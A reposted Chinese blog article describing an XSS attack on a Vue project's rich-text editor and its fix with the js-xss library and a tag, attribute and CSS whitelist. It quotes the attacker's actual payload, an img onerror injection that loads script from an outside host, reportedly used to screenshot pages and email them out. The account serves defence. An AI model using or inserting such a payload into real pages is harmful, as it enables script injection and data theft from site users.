返回顶部
首页 > 资讯 > 精选 >VUE项目中遇到XSS攻击举例分析
  • 564
分享到

VUE项目中遇到XSS攻击举例分析

2023-06-21 21:06:48 564人浏览 泡泡鱼
摘要

本篇内容介绍了“Vue项目中遇到XSS攻击举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前言随着互联网的高速发展,信息安全问题已经成

本篇内容介绍了“Vue项目中遇到XSS攻击举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

前言

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid api 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

发现原因

一切的原因都归咎于富文本编辑器....

应需求将文本域修改成富文本编辑器支持用户直接粘贴图片遭到用户使用网络图片上传方式攻击

VUE项目中遇到XSS攻击举例分析

攻击代码1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在数据回显时,图片报错并执行onerror事件,导致当前页面被截图发送至指定邮箱

最开始解决办法是直接关闭富文本编辑器上传网络图片的方式,但是后续再次遭到此类攻击,攻击者使用“fiddler”修改参数达到同样效果

最终采用第三方防御XSS攻击插件并通过配置白名单解决,在提交以及拿到后端返回数据时进行过滤

插件中文文档地址:GitHub.com/leizongmin/…

npm install xssimport filterXSS from "xss"

自定义过滤规则

在调用 xss() 函数进行过滤时,可通过第二个参数来设置自定义规则:

options = {}; // 自定义规则html = filterXSS('<script>alert("xss");</script>', options);

通过 whiteList 来指定,格式为:{'标签名': ['属性1', '属性2']}。不在白名单上的标签将被过滤,不在白名单上的属性也会被过滤。

let options = {    stripIgnoreTagBody: true, // 不在白名单中的标签以及标签里面的内容直接删除    whiteList: {        h2: ["style"],        h3: ["style"],        h4: ["style"],        h5: ["style"],        h6: ["style"],        h7: ["style"],        hr: ["style"],        span: ["style"],        strong: ["style"],        b: ["style"],        i: ["style"],        br: [],        p: ["style"],        pre: ["style"],        code: ["style"],        a: ["style", "target", "href", "title", "rel"],        img: ["style", "src", "title"],        div: ["style"],        table: ["style", "width", "border"],        tr: ["style"],        td: ["style", "width", "colspan"],        th: ["style", "width", "colspan"],        tbody: ["style"],        ul: ["style"],        li: ["style"],        ol: ["style"],        dl: ["style"],        dt: ["style"],        em: ["style"],        cite: ["style"],        section: ["style"],        header: ["style"],        footer: ["style"],        blockquote: ["style"],        audio: ["autoplay", "controls", "loop", "preload", "src"],        video: [          "autoplay",          "controls",          "loop",          "preload",          "src",          "height",          "width",        ],     },     CSS: {     // 因为上面白名单中允许了标签的style属性,所以需要防止攻击者使用此途径进行攻击        whiteList: {          color: true,          "background-color": true,          width: true,          height: true,          "max-width": true,          "max-height": true,          "min-width": true,          "min-height": true,          "font-size": true,        },    },}content = filterXSS(content,options)

“VUE项目中遇到XSS攻击举例分析”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注编程网网站,小编将为大家输出更多高质量的实用文章!

--结束END--

本文标题: VUE项目中遇到XSS攻击举例分析

本文链接: https://lsjlt.com/news/300990.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • VUE项目中遇到XSS攻击举例分析
    本篇内容介绍了“VUE项目中遇到XSS攻击举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前言随着互联网的高速发展,信息安全问题已经成...
    99+
    2023-06-21
  • 一次VUE项目中遇到XSS攻击的实战记录
    目录前言发现原因自定义过滤规则总结前言 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 ...
    99+
    2024-04-02
  • XSS攻击的示例分析
    小编给大家分享一下XSS攻击的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!什么是XSS攻击什么是XSS?XSS 全称是...
    99+
    2024-04-02
  • 解读vue项目防范XSS攻击问题
    目录1.对于从接口请求的数据2.对用V-HTML和INNERHTML加载的客户信息进行转义3.在入口页面的META中使用CSP4.针对特殊场景,选择性过滤XSS标签总结1.对于从接口...
    99+
    2023-01-28
    vue XSS攻击 vue防范XSS攻击 vue防范XSS
  • Web中XSS攻击与防御的示例分析
    小编给大家分享一下Web中XSS攻击与防御的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Web安全之XSS攻防1. X...
    99+
    2024-04-02
  • AngularJs中用户输入动态模板XSS攻击的示例分析
    这篇文章主要介绍了AngularJs中用户输入动态模板XSS攻击的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。概述XSS攻击是We...
    99+
    2024-04-02
  • vue中项目结构的示例分析
    这篇文章主要为大家展示了“vue中项目结构的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“vue中项目结构的示例分析”这篇文章吧。新建一个项目之后,我们...
    99+
    2024-04-02
  • vue-cli中项目结构的示例分析
    小编给大家分享一下vue-cli中项目结构的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!总体框架一个vue-cli的项...
    99+
    2024-04-02
  • vue项目实战的示例分析
    这篇文章主要为大家展示了“vue项目实战的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“vue项目实战的示例分析”这篇文章...
    99+
    2024-04-02
  • vue-cli项目中遇到的eslint的坑及解决
    目录vue-cli遇到的eslint的坑报错关于eslint规则说明vue-cli遇到的eslint的坑 报错 Do not access Object.prototype meth...
    99+
    2024-04-02
  • vue-cli项目中遇到的eslint坑怎么解决
    今天小编给大家分享一下vue-cli项目中遇到的eslint坑怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。vue-...
    99+
    2023-06-30
  • Vue+Django项目部署的示例分析
    这篇文章主要介绍Vue+Django项目部署的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!本地项目配置1 复制 luffy/settings/dev.py为prop.py修...
    99+
    2024-04-02
  • linux中防御SYN攻击的示例分析
    这篇文章主要介绍了linux中防御SYN攻击的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。一、默认syn配置sysctl -a | g...
    99+
    2023-06-10
  • vue项目中axios封装请求的示例分析
    小编给大家分享一下vue项目中axios封装请求的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!一、简介axios 是一个轻量的HTTP客户端,它基于 XMLHttpRequest 服务来执行 HTTP 请求,支持...
    99+
    2023-06-29
  • 从新建vue项目到引入组件Element的示例分析
    这篇文章主要介绍从新建vue项目到引入组件Element的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!本文介绍了从新建vue项目到引入组件Element以及Error wh...
    99+
    2024-04-02
  • vue项目打包优化的示例分析
    小编给大家分享一下vue项目打包优化的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!使用vue-cli部署生产包时,发现...
    99+
    2024-04-02
  • webstorm+vue初始化项目的示例分析
    小编给大家分享一下webstorm+vue初始化项目的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!vue新项目准备:1、安装nodejs,官网下载傻瓜安装node -v 验证2、...
    99+
    2024-04-02
  • Vue项目整合及优化的示例分析
    这篇文章给大家分享的是有关Vue项目整合及优化的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。前言使用 webpack 构建过 Vue 项目的同学应该知道 alias 的...
    99+
    2024-04-02
  • vue项目构建与实战的示例分析
    这篇文章将为大家详细讲解有关vue项目构建与实战的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。vue项目分类首先,在构建一个vue项目之前我们需要了解vue项目...
    99+
    2024-04-02
  • vue移动端项目代码拆分的示例分析
    这篇文章给大家分享的是有关vue移动端项目代码拆分的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。首先代码拆分应该保证本地开发的时候只有一套代码,提取所有公共页面,并且分...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作